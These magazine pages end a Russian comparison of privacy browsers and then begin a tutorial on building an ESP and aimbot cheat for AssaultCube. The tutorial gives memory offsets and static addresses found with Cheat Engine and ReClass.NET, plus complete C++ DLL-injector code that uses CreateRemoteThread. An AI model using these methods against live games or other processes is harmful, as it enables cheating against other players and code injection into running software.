• Сайт: avast.com/secure-browser
• Движок: Chromium
• Исходный код: закрытый
• Первый выпуск: 2016 год
• Версии: Windows, macOS, iOS, Android

Это «безопасный» браузер от компании Avast Software — производителя


одноименной антивирусной программы. Он также основан на Chromium,
существуют версии для Windows, macOS, iOS и Android.
Первая версия этого браузера была выпущена в 2016 году. Правда, изна-
чально он назывался SafeZone и входил в комплект поставки платной версии
антивируса Avast, но позже стал доступен для загрузки всем желающим.
Всем, кроме жителей России и Белоруссии, — если ты попытаешься скачать
браузер на территории этих стран, ничего не получится. Зато с исполь-
зованием прокси или VPN никаких проблем со скачиванием не возникает.
Браузер поддерживает функции Anti-tracking и Anti-ngerprinting, что,
по утверждению разработчиков, затрудняет идентификацию и отслеживание
пользователей. Avast Browser также основан на Chromium и имеет закрытый
исходный код. Его интерфейс знаком всем, кто использует Google Chrome,
но в отличие от обычного Chrome Avast Browser имеет несколько допол-
нительных кнопок. Например, Privacy Guard — в этом окне можно включить
защиту от трекинга и рекламы на текущем сайте.
Кнопка Extensions для управления плагинами стандартная для Chrome.
А вот кнопка Security & Privacy Center открывает настройки приватности этого
браузера. Здесь можно включить или отключить Privacy Guard и Web Shield —
веб-антивирус, который защищает пользователя от перехода на фейковые
и фишинговые сайты. Здесь же можно выключить Password Manager, который
сохраняет в браузере вводимые на сайтах пароли в зашифрованном виде
и позволяет логиниться в один клик.

Настройки Avast Secure Browser

По умолчанию Privacy Guard настроен на режим Basic Blocking. Но мы хотим


больше приватности! Нажмем кнопку Privacy Guard, а затем надпись Privacy
Guard Settings, чтобы изменить настройки. Выбираем режим Strict Blocking,
чтобы полностью блокировать ngerprinting, трекинг, рекламу и отслеживание
со стороны сайтов и социальных сетей... Упс!

Avast Secure Browser

Браузер сообщает нам, что сотрудники Avast очень хотят кушать, поэтому
некоторую рекламу и всякие шпионские штуки от их партнеров браузер
все-таки будет пропускать. Иными словами, защита твоей конфиденциаль-
ности браузером Avast заканчивается примерно там, где эту самую кон-
фиденциальность можно выгодно продать. Ничего личного, просто бизнес!
Ладно, положим, без полноценной защиты мы как-нибудь обойдемся,
но давай хотя бы попробуем скрыть наше реальное местоположение
с помощью Protected VPN — встроенного прокси, который предлагает нам
Avast. Попробуем включить его... Ой, а что это?

Avast хочет денюжку!

Оказывается, это платная функция, но нам предлагают 30-дневный бесплат-


ный триал. Правда, чтобы воспользоваться этой уникальной и не имеющей
аналогов возможностью, нужно ввести данные банковской карты или прибег-
нуть к PayPal. Кажется, кто-то что-то говорил про приватность?
Перейдем в Security & Privacy Center и откроем окно приватного прос-
мотра: Private Mode — Launch Window. Теперь откроем в этом приватном окне
сайт BrowserLeaks. В целом никаких сюрпризов: браузер передает тот же
объем данных, что и любой другой браузер с включенным JavaScript. IP-адрес
определяется, передачу данных геолокации можно заблокировать во всплы-
вающем окне.

Avast в окне BrowserLeaks

Если мы посмотрим на трафик Avast Secure Browser в приложении Portmaster,


то заметим многочисленные обращения к серверам Avast. По всей видимос-
ти, браузер собирает статистику.

Avast в Portmaster

В целом можно сказать, что Avast Secure Browser имеет все те же функции,
что предлагают другие бесплатные приватные браузеры. Но некоторые
из них — за деньги.

COMODO DRAGON

• Сайт: comodo.com
• Движок: Chromium/Firefox
• Исходный код: закрытый
• Первый выпуск: 2010 год
• Версии: Windows

Еще один браузер от производителя антивирусной программы — компании


Comodo Group. Он предлагается в четырех версиях: Comodo Dragon на осно-
ве Chromium и Ice Comodo Dragon на основе Firefox, каждая версия есть в 32-
битном и 64-битном вариантах. Я решил установить 64-разрядную версию
Comodo Dragon на основе Chromium.
Comodo Dragon использует собственные DNS-серверы Comodo вместо
серверов провайдера пользователя, что повышает безопасность и кон-
фиденциальность. При установке можно выбрать, будешь ли ты использовать
DNS-серверы своего провайдера или DNS-серверы Comodo и как именно —
постоянно на всех соединениях или только при запуске этого браузера.

Во время просмотра веб-сайтов по протоколу HTTPS Comodo Dragon допол-


нительно проверяет SSL-сертификаты с использованием собственного сер-
виса и предупреждает пользователя, если сертификат недостаточно
надежен.
Кроме того, в Comodo интегрирован собственный антивирусный движок,
проверяющий наличие вредоносного кода на сайтах. Несмотря на то что
Comodo Dragon не передает никакую информацию сервисам Google, он
отслеживает поведение пользователя и отправляет эти данные собственным
службам Comodo Group, о чем сообщается в лицензионном соглашении.
Еще там указано, что IP-адрес пользователя считается конфиденциальной
информацией только на территории Калифорнии, поэтому браузер создает
файлы журналов, которые отслеживают юзеров, идентифицируемых
с помощью cookies повсеместно или IP-адресов за пределами Калифорнии.
Также лицензионное соглашение позволяет Comodo Group раскрывать соб-
ранные данные своим аффилированным лицам и деловым партнерам.
Если открыть в браузере сайт BrowserLeaks, мы увидим, что по умолчанию
Comodo Dragon блокирует точное определение геопозиции.

Comodo Dragon

Portmaster фиксирует регулярные обращения браузера к собственному сер-


веру comodo.com, по всей видимости — чтобы передать телеметрию и прочие
данные о поведении пользователя. Тем не менее значительная часть соеди-
нений с известными рекламными сервисами и системами трекинга действи-
тельно блокируется. Несмотря на то что браузер базируется на открытом
проекте Chromium, исходный код самого Comodo Dragon закрыт.

Comodo Dragon в Portmaster

Comodo Dragon блокирует рекламу, трекинг, использует встроенные анти-


вирусные функции, но, поскольку это продукт с закрытым исходным кодом,
созданный коммерческой компанией, никто достоверно не знает, что у него
спрятано под капотом.

Продолжение статьи →
ПРИВАТНОСТЬ ← НАЧАЛО СТАТЬИ

СОСТЯЗАНИЕ
В ПРИВАТНОСТИ
СРАВНИВАЕМ БЕЗОПАСНЫЕ БРАУЗЕРЫ 2023
ГОДА

WATERFOX

• Сайт: waterfox.net
• Движок: Firefox
• Исходный код: открытый
• Первый выпуск: 2011 год
• Версии: Windows, macOS, Linux

В отличие от всех рассмотренных браузеров, Waterfox основан не на


Chromium, а на Firefox, поэтому он может понравиться тем, кто привык именно
к этому браузеру.
В версии для Windows этот браузер имеет 64-битную архитектуру. Прог-
рамма установки предлагает стандартный (standard) и пользовательский
(custom) режимы, в последнем можно выбрать папку для установки, указать,
где следует размещать значки браузера… и всё. Не слишком много настроек!
Внешне этот браузер очень похож на Firefox, существенных отличий
в интерфейсе нет. Окно с настройками тоже в точности такое же, разве что
вместо вкладки More from Mozilla здесь имеется вкладка Look and Feel. Самая
интересная для нас вкладка — Privacy & Security — также не отличается
от такой в стандартном Firefox, все настройки находятся на своих привычных
местах. Никаких дополнительных или особых опций, связанных с приват-
ностью, здесь нет.

Waterfox на GitHub

Исходные коды Waterfox можно найти на GitHub. Сейчас этот проект нас-
читывает более 4700 участников (contributors), что довольно много. Хотя
в 2011 году его развитием занимался всего один человек — Алекс Контос,
которому на тот момент было 16 лет. В 2019 году права на Waterfox приобре-
ло рекламное агентство System1.
На сайте BrowserLeaks Waterfox показывает в целом такие же результаты,
как и обычный Firefox. Примечательно, что он опознает браузер как Firefox
версии 102.0, в то время как актуальная версия нативного Firefox — 111.0.
Это означает, что редакция лежащего в основе Waterfox браузера слегка
устарела, хотя и не слишком.

Waterfox определяется в BrowserLeaks как Firefox 102.0

Разработчики утверждают, что Waterfox блокирует трекинг и препятствует


показу рекламы на просматриваемых в браузере сайтах. Но если посмотреть
на соединения этого браузера в Portmaster при открытии тех же веб-страниц,
что и в других браузерах, мы увидим множество соединений с серверами ста-
тистики Google (вроде gstatic.com и googletagmanager.com) и другими сер-
висами для сбора данных. По умолчанию Waterfox их не блокирует.

Waterfox не блокирует многие подозрительные соединения

Впрочем, блокировка рекламы в сочетании с тем, что этот браузер принад-


лежит рекламному агентству, звучит несколько странно, не правда ли? Пос-
кольку Waterfox основан на Firefox, на него можно установить все плагины
от Mozilla, в том числе повышающие приватность, блокирующие рекламу
и подключающие прокси. Но все то же самое можно сделать и с обычным
Firefox.

IRON

• Сайт: srware.net/iron/
• Движок: Chromium
• Исходный код: закрытый
• Первый выпуск: 2008 год
• Версии: Windows, macOS, Linux, Android

Iron — браузер, разрабатываемый германской фирмой SRWare на основе


исходников Chromium. Для Windows доступны 32-разрядная и 64-разрядная
версии, интерфейс переведен на множество языков, в том числе и на рус-
ский.
Проект Iron появился в 2008 году как попытка создать такой аналог
Chrome, который в отличие от оригинала не будет делиться телеметрией
и прочими данными с компанией Google. Современная версия Iron содержит
также встроенный блокировщик рекламы. Важное отличие от Chrome зак-
лючается еще и в том, что в этом браузере отсутствует Google Updater.
С одной стороны, это экономит трафик и ресурсы машины, поскольку в фоне
не болтается еще одна запущенная программа. С другой — в Iron нет авто-
матического обновления, все апдейты нужно загружать с сайта и устанав-
ливать вручную.
Iron использует собственные безопасные DNS-серверы (Secure DNS
Resolver), с помощью которых он выполняет фильтрацию рекламы и небезо-
пасного контента.
Работает браузер на удивление быстро: складывается ощущение, что
веб-страницы открываются даже быстрее, чем в обычном Chrome. При этом
браузер с настройками по умолчанию раскрывает IP-адрес пользователя
и местоположение. В панели инструментов есть ссылка Anomymous VPN,
которая ведет на сайт SRWare, но подключить эту услугу предлагают платно.
После установки браузера на рабочем столе появляется значок Iron Cong
and Backup — конфигуратор браузера. Чтобы воспользоваться этой функци-
ей, нужно закрыть все открытые ранее окна Iron.
Флажок Enable extended Privacy на вкладке Conguration блокирует некото-
рые исходящие запросы к сайтам, например запросы на обновления кон-
тента. С одной стороны, это сокращает шансы передать конфиденциальную
информацию. С другой — некоторые сайты, если эта опция включена, могут
не работать должным образом.

Конфигуратор Iron Cong and Backup

Вкладки Backup и Restore позволяют сохранить и восстановить настройки


браузера при необходимости. Вкладка UserAgent — изменить значение,
с помощью которого этот браузер представляется сайтам в интернете. Мож-
но выбрать другой UserAgent (например, Safari) или несколько разных
и нажатием на кнопку создать ярлык для запуска браузера с этим значением
UserAgent.

В Iron Cong and Backup можно изменить UserAgent

С помощью вкладки Import from Chrome можно импортировать все данные


(значения форм, историю, пароли) в Iron из Chrome, если ты пользовался им
раньше.
В Portmaster браузер Iron отображается как Chrome. Видно, что некоторые
сайты отправляют запросы к серверам аналитики и статистики Google, но Iron
блокирует их.

Iron в Portmaster

В целом браузер производит приятное впечатление, работает быстро,


для фильтрации рекламы и трекинга использует Secure DNS. К недостаткам
можно отнести закрытый исходный код и отсутствие встроенного VPN. Впро-
чем, поскольку этот браузер основан на Chromium, на него можно установить
бесплатные плагины из Chrome Web Store, в том числе и плагины, реали-
зующие подключение через прокси.

LIBREWOLF

• Сайт: librewolf.net
• Движок: Firefox
• Исходный код: открытый
• Первый выпуск: 2021 год
• Версии: Windows, macOS, Linux

LibreWolf — это созданная независимыми разработчиками версия Firefox,


направленная на приватность и безопасность пользователей. Она появилась
относительно недавно, но в последнее время активно набирает популяр-
ность. Браузер имеет открытый исходный код, ссылку на который можно най-
ти на сайте разработчиков.
Для загрузки предлагают 64-разрядную версию браузера для Windows
в виде стандартного инсталлятора и, в качестве альтернативы, портабельное
приложение в ZIP-архиве.
Если обычно ты пользуется Firefox, интерфейс программы покажется тебе
привычным. Сразу бросается в глаза, что в качестве поисковой системы
по умолчанию в LibreWolf используется DuckDuckGo, но ее можно заменить
в настройках другими поисковыми системами, считающимися безопасными:
например, Searx или Qwant. Настройки браузера в целом аналогичны Firefox,
никаких специфичных опций в окне конфигурации браузера обнаружить
не удалось.

LibreWolf — настройки

Если верить информации на сайте разработчиков, этот браузер создан


для защиты от трекинга и ngerprinting, а также содержит целый ряд допол-
нительных инструментов для обеспечения безопасности. Сообщается, что
LibreWolf не собирает телеметрию, а для блокировки рекламы и фильтрации
контента в браузере установлен бесплатный плагин uBlock Origin, который
также можно использовать и в обычном Firefox.
В LibreWolf в целях безопасности заблокирован стандартный менеджер
паролей, но вместо него можно использовать сторонние плагины для Firefox.
Также в браузере включен так называемый режим Enhanced Tracking
Protection, который блокирует некоторые сторонние скрипты, если их не заб-
локировал плагин uBlock Origin.
Поскольку LibreWolf использует повышенные настройки безопасности,
постоянная авторизация на некоторых сайтах может время от времени сбра-
сываться. Чтобы сохранить авторизацию при каждом обращении к сайту, нап-
ример быть постоянно залогиненным «Вконтакте», этот сайт нужно добавить
в список исключений в настройках браузера.
BrowserLeaks показывает, что этот браузер более безопасный по срав-
нению с обычным Firefox: например, в нем отключена поддержка WebGL.

LibreWolf в BrowserLeaks

В браузере отключена точная геолокация, работают 11 контентных фильтров


для блокировки трекеров и рекламы, а также включен Canvas Protection —
защита от ngerprinting с помощью анализа того, как отображается графика
в браузере.

LibreWolf в BrowserLeaks

В Portmaster браузер LibreWolf не показывает никаких подозрительных соеди-


нений. Исходящие соединения присутствуют, но эти обращения использует
плагин uBlock Origin, чтобы получить списки фильтрации контента, а также
проверить цифровые сертификаты сайтов.

LibreWolf в Portmaster

Кроме того, в FAQ на сайте разработчиков написано, что LibreWolf использует


некоторые соединения для проверки того, получает ли пользователь
пуш-уведомления от сайтов, на которые подписан.
В целом можно сказать, что браузер произвел приятное впечатление. Он
имеет привычный для поклонников Firefox удобный интерфейс и работает
достаточно быстро.

ÂÛÂÎÄÛ

Настало время подвести субъективные итоги. На наш взгляд, первое место


среди приватных браузеров можно смело отдать Brave. Он имеет открытый
исходный код, удобен, безопасен, а также может похвастаться встроенной
поддержкой Tor.
На второе место мы бы поставили LibreWolf. Это тоже браузер с открытым
исходным кодом, его возможности могут быть расширены за счет плагинов,
и он может больше понравиться тем, кто привык к Firefox.
Бронзовую медаль вручим браузерам Epic и Iron. Это коммерческие про-
дукты с закрытым исходным кодом, но они достаточно быстрые и имеют боль-
шой ассортимент настроек. Еще в Epic есть даунлоадер контента, но он
не работает в YouTube.
Остальные рассмотренные в этой статье приватные браузеры, включая
браузеры от разработчиков антивирусов, мы бы поставили в конец списка.
Это не означает, что они плохие, однако либо в них отсутствуют полезные
функции, которые есть в других продуктах, либо они предлагаются за деньги,
тогда как в альтернативных браузерах бесплатны.
КОДИНГ

СМОТРИМ СКВОЗЬ
СТЕНЫ И ДЕЛАЕМ
АВТОПРИЦЕЛИВАНИЕ
ДЛЯ 3D-ШУТЕРА

Сегодня мы с тобой напишем чит


для сетевого шутера. Мы реализуем хаки
типа extrasensory perception (ESP) и aimbot.
ESP отображает информацию об игроках
над их головами. Здесь может быть здо- neeko
mynxold@gmail.com
ровье игрока, имя или текущее исполь-
зуемое оружие. Aimbot автоматически
нацеливается на других игроков.

INFO
В предыдущей статье «Чит своими руками.
Вскрываем компьютерную игру и пишем трейнер
на C++» я заложил базу для будущих читов и объ-
яснил основные понятия. Рекомендую озна-
комиться с ней, чтобы лучше понимать, что мы
будем сегодня делать.

ÂÛÁÎÐ ÈÃÐÛ

Мой выбор пал на AssaultCube — бесплатный многопользовательский шутер


от первого лица, основанный на движке CUBE. Используется графическая
библиотека OpenGL.

WARNING
Использование читов нарушает пользовательское
соглашение игры и может повлечь юридическое
преследование. Мы обсуждаем здесь создание
чита исключительно в целях обучения. Автор
и редакция не несут ответственности за воз-
можные последствия применения и распростра-
нения такого ПО.

ÏÎÈÑÊ ÇÍÀ×ÅÍÈÉ

Для начала запустим игру и в настройках выберем оконный режим, ведь нам
нужно, чтобы на экране помещалось еще что-то, кроме игры.

Оконный режим

Также создадим локальный сервер. Нужно будет настроить его, а именно


задать время игры, чтобы таймер не торопил нас. Конфиг лежит по сле-
дующему пути:

C:\Program Files (x86)\AssaultCube 1.3.0.2\config\maprot.cfg

Стандартные настройки времени

Поменяем время на максимальное — 100 минут.

Новые настройки времени

А после уже запускаем сам сервер.

Запуск сервера

И подключаемся к нему.

Подключение к серверу

Запускаем Cheat Engine и подключаемся к процессу игры.

Подключимся к процессу игры

Ïîèñê ïîêàçàòåëÿ çäîðîâüÿ


Для тестирования нам понадобится второй игрок. Можешь подключиться
со второго устройства или, как сделал я, из виртуальной машины. Для поиска
показателя здоровья выставляем параметры сканирования в Cheat Engine
и вторым игроком наносим урон первому. После этого ищем здоровье
в Cheat Engine.

Получение урона

Будем наносить урон до тех пор, пока не найдем адрес, по которому хранится
показатель здоровья нашего игрока.

Найденный адрес HP

На этом все знакомые по прошлой статье действия в Cheat Engine заканчива-


ются и начинаются новые. Наша цель — реализовать extrasensory perception
и aimbot. Для этого нам нужно узнать класс игрока и его статический адрес.
Чтобы найти класс, кликаем правой кнопкой мыши по нашему адресу
и выбираем Find out what writes to this address (можно просто нажать F6).

Поиск места, где идет запись по адресу

Появится новое окно, где будут отображаться инструкции, которые произво-


дят запись по нашему адресу. Чтобы они появились, снова наносим урон вто-
рым игроком первому.

Найденная инструкция

Показатель здоровья записывает всего одна инструкция, она расположена


по смещению 0xEC. Значит, значение, хранящееся в регистре edx, —
это адрес класса игрока (но адрес в куче, а не статический). Поэтому
добавим его вручную.

Структура

Ïîèñê ñòàòè÷åñêîãî àäðåñà îáúåêòà èãðîêà


В прошлый раз я использовал отладчик, чтобы наглядно показать, что собой
представляет статический адрес. В этот раз для поиска статического адреса
мы будем использовать Cheat Engine. Жмем на ранее добавленный адрес
0x6AED20 правой кнопкой мыши и выбираем Pointer scan for this address.

Выбор сканирования адреса

Как видишь, у нас есть множество параметров для поиска указателя, но нас
интересует Max level. Это значение отвечает за то, сколько раз будет разыме-
нован наш указатель (статический адрес). Оно-то и поможет нам получить
искомый адрес.

Стандартные настройки сканирования указателя

Исполняемый файл игры занимает мало, и кода в нем тоже негусто.


Это наводит на мысль, что классов и структур в игре не так много и не будет
большого количества смещений. Поэтому глубину поиска мы установим рав-
ной единице.

Новые настройки сканирования указателя

Мы видим следующий результат. Об адресах вида "ac_client.


exe"+YYYYYYYY мы уже писали в прошлой статье. Именно они нам и понадо-
бятся. А вот адреса формата "THREADSTACKX"-YYYYYYYY говорят нам о том,
что искомый нами адрес был найден в стеке.

Результаты сканирования указателя

Добавим найденные пять адресов в список.

Добавленные указатели

И выставим для каждого адреса смещение до показателей здоровья.

Добавленный указатель на HP

Далее перезапускаем игру, и Cheat Engine предложит сохранить наши адре-


са. Мы их сохраняем, чтобы загрузить при повторном подключении.

Сохраняем наш cheat table

После переподключения к игре в списке адресов Cheat Engine видим, что


только два адреса указывают на показатель здоровья: "ac_client.
exe"+0017E0A8 и "ac_client.exe"+0018AC00.

После перезапуска AC

Попробуем повторно получить урон и посмотреть, что будет с другими адре-


сами. Как видим, еще в двух адресах появился наш показатель здоровья.
Значит, в списке мы оставляем только два упомянутых ранее адреса.

Повторное получение урона

Добавим статический адрес "ac_client.exe"+0017E0A8 под именем


Player_ptr_1.

Добавляем первый указатель

Добавим статический адрес "ac_client.exe"+0018AC00 под именем


Player_ptr_2.

Добавляем второй указатель

Продолжение статьи →
КОДИНГ ← НАЧАЛО СТАТЬИ

ЧИТ
СВОИМИ
СМОТРИМ СКВОЗЬ СТЕНЫ И ДЕЛАЕМ
РУКАМИ
АВТОПРИЦЕЛИВАНИЕ ДЛЯ 3D-ШУТЕРА

Êëàññ èãðîêà
Предположим, что статический адрес Player_ptr_1 — тот, что мы ищем (что
на самом деле не так, правильным статическим адресом будет
Player_ptr_2, но в этом мы убедимся позже). Чтобы просмотреть класс
игрока в памяти, нажимаем правой кнопкой мыши на адрес и выбираем
Browse this memory region (или жмем Ctrl-B).

Открытие региона памяти

К счастью, у Cheat Engine есть инструмент, который позволяет нам лучше


визуализировать структуры памяти, а не просматривать байты в дампе. Прос-
то жми правой кнопкой мыши по выделенному байту и выбирай Open
in dissect data/structure.

Открытие анализа структур

Откроется новое окно с адресом выбранного байта. Нажми Structures, затем


Dene new structure (или Ctrl-N).

Создание структуры

Назовем структуру Player. Остальные настройки оставим по умолчанию:


предположительный тип поля и размер структуры (4096).

Создание класса игрока

Поставив галочку Guess eld type, мы попросили Cheat Engine угадать тип
поля. И он неплохо с этим справился.

Полученная структура

Перейдем по смещению 0xEC, чтобы убедиться, что там находится показа-


тель здоровья нашего игрока.

Проверка класса

Также можно по смещению 0x205 обнаружить имя игрока.

Имя игрока

В дальнейшем нам нужен этот класс, но, к сожалению, Cheat Engine не поз-
воляет экспортировать структуру, а делать это вручную — значит подвергать
себя мучениям. Это не нужно, поскольку существует готовый инструмент —
ReClass.NET. Он дает возможность напрямую выгрузить структуру в виде кода
на C++. Скачиваем, устанавливаем и подключаемся к процессу игры.

Подключение к процессу

После присоединения к процессу создается класс по базовому адресу


400000, он называется N0000004E. Дважды кликаем по адресу и выставляем
нужный нам: 0066ED48. Аналогично изменяем имя класса на Player и добав-
ляем для отображения еще 4096 байт.
В данном контексте отображаемое количество байтов СE воспринимает
как класс, который мы экспортируем. Если размер нашего класса больше,
чем стандартное количество отображаемых байтов, нужно вручную увеличить
размер.

Настройка ReClass.NET

Переходим к смещению 0xEC, к показателю здоровья. Меняем значение типа


поля на DWORD (мы выставим значения типов для смещений, что позволит нам
в дальнейшем экспортировать класс с нужными полями).

Присвоение типа

Ïîèñê êîîðäèíàò
Начиная с этого места, мы будем искать значения, нужные непосредственно
для реализации ESP и aimbot. Для ESP нам понадобятся координаты самого
игрока и его головы в трехмерном пространстве.

WWW
Тем, кто не знает или забыл, как работает трех-
мерная система координат в компьютерной гра-
фике, рекомендую статью «3D своими руками»
на «Хабрахабре».

Для реализации aimbot нам понадобятся значения тангажа (pitch), рысканья


(yaw) и крена (roll). Не знаешь, что это? Давай покажу на примере игрового
движка Godot.

Координаты XYZ

Запись координат может разниться в зависимости от движка. Часто различа-


ется направление осей и то, какая из них считается высотой.

Вариации координат

Для демонстрации возьмем с GitHub готового персонажа и посмотрим,


как он будет двигаться, если менять координаты.

Персонаж на нулевых координатах

Тангаж — движение персонажа относительно оси X. Нижняя стрелка — фак-


тическое движение персонажа в данный момент, верхняя — другой вариант
движения.

Pitch

Рысканье — движение персонажа относительно оси Y.

Yaw

Крен — движение персонажа относительно оси Z.

Roll

Ïîèñê êîîðäèíàò èãðîêà


С новыми знаниями возвращаемся к игре и окну Cheat Engine. Начинаем
перемещаться по карте и вертеть мышкой из стороны в сторону, а также
вверх и вниз. В окне Cheat Engine можем видеть три последовательности
из значений с плавающей запятой, которые менялись при наших действиях.
Значит, это координаты игрока, координаты головы игрока и его поворот
относительно осей.
Можно заметить, что два набора из трех повторяются по X и Y, а вот коор-
дината Z у них разная. Отсюда мы можем сделать вывод, что один набор —
это координаты игрока, а второй — головы. Так как в OpenGL в качестве
высоты используется координата Z, мы попытаемся поменять высоту для каж-
дого набора. Начнем с первого, но после попытки поменять значение c
-0.5 на другое оно снова станет прежним. Значит, это координаты головы,
второй набор — координаты игрока, а третий — движение относительно
осей. Но мы в этом еще должны убедиться.

Неправильный выбор числа

Теперь давай попробуем сделать для второго набора то, что мы делали
для первого.

Правильный выбор

Для наглядной демонстрации встанем на ящик, а в Cheat Engine будем смот-


реть на значение по смещению 0x30.

Становимся на высоту

Попробуем изменить это значение и увидим, как наш персонаж провалился


сквозь ящик.

Изменение высоты игрока

Продолжение статьи →
КОДИНГ ← НАЧАЛО СТАТЬИ

ЧИТ
СВОИМИ
СМОТРИМ СКВОЗЬ СТЕНЫ И ДЕЛАЕМ
РУКАМИ
АВТОПРИЦЕЛИВАНИЕ ДЛЯ 3D-ШУТЕРА

Это значит, что наши предположения верны.

Наши координаты

Вернемся в окно ReClass.NET и выберем типы для этих смещений.

Переименовываем и задаем тип

Ïîèñê pitch, yaw, roll


Сделаем такую же проверку. Веди мышью из стороны в сторону, а потом
вверх и вниз. Попробуем поменять значения, и оказывается, что наши пред-
положения были верны.

Наши значения

Вернемся в окно ReClass.NET и выберем типы для этих смещений.

Переименовываем и задаем тип

Вот так теперь выглядит наш класс. Но что за VTable? Это поле не нужно, я
добавил его для красоты. Подробнее о том, что это и зачем, можешь про-
читать в статье Understandig Virtual Tables in C++.

Наш класс

Теперь экспортируем наш класс (нажми на него правой кнопкой мыши


и выбери соответствующий пункт меню). Можешь видеть, что есть поля,
которые мы с тобой не искали: armor, team и прочие. Думаю, ты при желании
сможешь найти их сам.

Экспортируем

Entity List
С нашим игроком мы разобрались, а как быть с другими игроками? Обычно
где-то есть огромный список всех игровых сущностей, в который входят
и персонажи игроков. Можно предположить, что где-то в коде должен сущес-
твовать и цикл, который перебирает игроков, и дальше с их данными как-то
взаимодействует логика игры. Попробуем оттолкнуться от показателя здо-
ровья и поискать, какие инструкции его запрашивают.

Доступ к адресу со здоровьем

С наскока ничего найти не удается, но наметанный глаз заметит, что доступ


к показателям здоровья нашего игрока идет через какой-то статический
адрес. Оказывается, мы выбрали неправильный! Правильный адрес такой:
"ac_client.exe"+0018AC00.

Правильный адрес

Попробуем теперь поискать через имя игрока, которое находится по сме-


щению 0x205.

Имя игрока

И получим список инструкций, которые обращаются к имени.

Добавляем адрес

Ищем доступ к адресу

Перебираем варианты и находим такой, где доступ происходит в цикле.

Цикл сущностей

Те, кто знаком с ассемблером, понимают, что в регистре ebx находится


адрес первого элемента, esi — это индекс, а умножение индекса говорит
нам о типе данных, в данном случае это 4, DWORD.
Таким образом, статический адрес списка сущностей будет таким:

"ac_client.exe"+0018AC04

Список сущностей

Убедиться в этом можно, проверив по смещению 0x205 имя игрока.

Имя другого игрока

Также нам понадобится общее количество игроков. Полистав вывод дизас-


семблера, в конце цикла увидим проверку. В регистре edi хранится текущее
количество игроков.

Количество игроков

Немного подебажив, замечаем, что выше цикла находится статический адрес


количества игроков: "ac_client.exe"+0018AC0C.

Статический адрес для игроков

Перезапустим и проверим, что адреса правильные.

Ïîèñê View Matrix


Матрица View (вид) нужна для корректной работы ESP, более подробно
об этом можешь почитать в статье об OpenGL на «Хабрахабре».

Последовательность преобразований

1. Локальные координаты — это координаты объекта, измеряемые отно-


сительно той точки, в которой находится объект.
2. На следующем шаге локальные координаты преобразуются в координаты
в пространстве мира. Они отложены от какой-то точки, единой для всех
других объектов, расположенных в мировом пространстве.
3. Дальше мы трансформируем мировые координаты в координаты прос-
транства вида таким образом, чтобы каждая вершина стала видна,
как если бы на нее смотрели из камеры или с точки зрения наблюдателя.
4. После того как координаты будут преобразованы в пространство вида, мы
спроецируем их в координаты отсечения. Координаты отсечения задаются
в диапазоне от -1.0 до 1.0 и определяют, какие вершины появятся на экра-
не.
5. И наконец, в процессе преобразования, который мы назовем трансфор-
мацией области просмотра, мы преобразуем координаты отсечения
от -1.0 до 1.0 в область экранных координат, заданную функцией
glViewport.

Для поиска матрицы вида будем ориентироваться на координаты отсечения,


они задаются в диапазоне от -1.0 до 1.0. В игре смотрим прямо вверх, а в CE
выставляем следующие параметры поиска.

Смотрим вверх

Теперь смотрим прямо вниз и выставляем новые параметры поиска.


И чередуем, пока не найдем приемлемое количество результатов. В данном
случае понадобилось не так много повторений, чтобы отыскать два статичес-
ких адреса. Их-то мы и будем проверять.

Смотрим вниз

Откроем в дампе первый адрес и для удобства изменим тип отображаемых


данных с байтов на oat.

Изменение для удобного вида

Вот что мы имеем.

Измененный вид

Продолжение статьи →
КОДИНГ ← НАЧАЛО СТАТЬИ

ЧИТ
СВОИМИ
СМОТРИМ СКВОЗЬ СТЕНЫ И ДЕЛАЕМ
РУКАМИ
АВТОПРИЦЕЛИВАНИЕ ДЛЯ 3D-ШУТЕРА

Теперь нужно поднимать и опускать оружие и смотреть, как меняются зна-


чения. Мы видим, что в области, обозначенной красным, что-то изменилось.
Причем 1.0 и -1.0 будет только в выделенной области, а перед ней, если
судить по размерам матриц, будут, соответственно, матрица мира и матрица
перемещения. Таким образом, статический адрес матрицы вида получается
"ac_client.exe"+17DFD0.

Найденная матрица вида

Не забываем перезапустить игру и проверить правильность наших находок.

ÍÀÏÈÑÀÍÈÅ ×ÈÒÀ

Как и в предыдущей статье, мы будем писать внутренний чит, поэтому нам


понадобится не только сама библиотека, но и инжектор, который внедрит
нашу библиотеку в процесс игры. Инжектор получит список процессов, най-
дет процесс игры и выделит в ней память, в которую запишет наш внутренний
чит. А потом создаст удаленный поток внутри игры для выполнения кода.

Injector
Код инжектора выглядит следующим образом.

#include <windows.h>
#include <tlhelp32.h>

// Имя внедряемой DLL


const char* dll_path = "internal_cheat_ac.dll";

int main(void) {
HANDLE process;
void* alloc_base_addr;
HMODULE kernel32_base;
LPTHREAD_START_ROUTINE LoadLibraryA_addr;
HANDLE thread;

HANDLE snapshot = 0;
PROCESSENTRY32 pe32 = { 0 };

DWORD exitCode = 0;

pe32.dwSize = sizeof(PROCESSENTRY32);

// Получение снапшота текущих процессов


snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
Process32First(snapshot, &pe32);

do {
// Мы хотим работать только с процессом AC
if (wcscmp(pe32.szExeFile, L"ac_client.exe") == 0) {

// Во-первых, нам нужно получить дескриптор процесса,


чтобы использовать его для следующих вызовов
process = OpenProcess(PROCESS_ALL_ACCESS, true, pe32.
th32ProcessID);

// Чтобы не повредить память, выделим дополнительную


память для хранения нашего пути к DLL
alloc_base_addr = VirtualAllocEx(process, NULL, strlen(
dll_path) + 1, MEM_COMMIT, PAGE_READWRITE);

// Записываем путь к нашей DLL в память, которую мы


только что выделили внутри игры
WriteProcessMemory(process, alloc_base_addr, dll_path,
strlen(dll_path) + 1, NULL);

// Создаем удаленный поток внутри игры, который будет


выполнять LoadLibraryA
// Этому вызову LoadLibraryA мы передадим полный путь к
нашей DLL, которую мы прописали в игру
kernel32_base = GetModuleHandle(L"kernel32.dll");
LoadLibraryA_addr = (LPTHREAD_START_ROUTINE)
GetProcAddress(kernel32_base, "LoadLibraryA");
thread = CreateRemoteThread(process, NULL, 0,
LoadLibraryA_addr, alloc_base_addr, 0, NULL);

// Чтобы убедиться, что наша DLL внедрена, мы можем


использовать следующие два вызова для синхронизации
WaitForSingleObject(thread, INFINITE);
GetExitCodeThread(thread, &exitCode);

// Наконец, освобождаем память и очищаем дескрипторы


процесса
VirtualFreeEx(process, alloc_base_addr, 0, MEM_RELEASE);
CloseHandle(thread);
CloseHandle(process);
break;
}
// Перебор процессов из снапшота
} while (Process32Next(snapshot, &pe32));

return 0;
}

DLL
